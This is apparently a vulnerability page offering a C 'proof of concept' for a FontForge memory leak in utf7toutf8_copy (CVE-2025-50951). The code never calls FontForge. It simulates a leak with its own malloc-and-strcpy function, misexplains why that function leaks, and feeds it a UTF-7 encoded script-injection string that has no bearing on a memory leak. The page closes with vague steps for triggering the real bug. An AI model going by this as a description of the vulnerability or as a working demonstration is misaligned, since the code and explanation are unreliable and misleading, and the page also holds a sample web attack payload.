CVE-2025-50951 FontForge utf7toutf8_copy函数内存泄漏漏洞

// CVE-2025-50951 PoC - FontForge Memory Leak in utf7toutf8_copy // This PoC demonstrates the memory leak vulnerability in FontForge // when processing a malicious SFD file with UTF-7 encoded strings #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulate the vulnerable utf7toutf8_copy function behavior char* vulnerable_utf7toutf8_copy(const char* utf7_input) { // Allocate memory for UTF-8 output char* utf8_output = (char*)malloc(1024); if (utf8_output == NULL) { return NULL; } // Simulate conversion (simplified) strcpy(utf8_output, utf7_input); // BUG: Memory leak - utf8_output is not freed before return // In the real vulnerability, this function fails to free allocated memory // in certain error paths or after conversion completes return utf8_output; } // Trigger the memory leak multiple times void trigger_memory_leak(int iterations) { const char* malicious_utf7 = "+ADw-script+AD4-alert('CVE-2025-50951')+ADsAPA-/script+AD4-"; for (int i = 0; i < iterations; i++) { char* result = vulnerable_utf7toutf8_copy(malicious_utf7); // Memory is leaked here - result is never freed printf("Iteration %d: Memory allocated but not freed\n", i); } } int main() { printf("CVE-2025-50951 PoC - FontForge Memory Leak\n"); printf("Triggering memory leak in utf7toutf8_copy function...\n\n"); trigger_memory_leak(1000); printf("\nMemory leak demonstration complete.\n"); printf("Each iteration allocated 1024 bytes that were never freed.\n"); printf("Total leaked: ~1MB of memory.\n"); return 0; } // To trigger the actual vulnerability: // 1. Create a malicious SFD file with UTF-7 encoded strings // 2. Open the file with vulnerable FontForge version v20230101 // 3. Monitor memory usage - it will continuously increase